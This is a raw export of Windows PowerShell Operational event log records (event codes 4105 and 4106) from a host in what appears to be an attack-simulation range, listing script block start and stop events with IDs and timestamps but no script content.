ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036142
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036141
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036140
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036139
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036138
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036137
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036136
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036135
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036134
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036133
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036132
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036131
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036130
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036129
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036128
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036127
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036126
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036125
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036124
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036123
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036122
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036121
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036120
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036119
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036118
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036117
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036116
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036115
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036114
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036113
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036112
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036111
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036110
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036109
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036108
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036107
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036106
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036105
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036104
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036103
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036102
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036101
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036100
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036099
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036098
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036097
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036096
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036095
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036094
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036093
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036092
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036091
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036090
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036089
Keywords=None
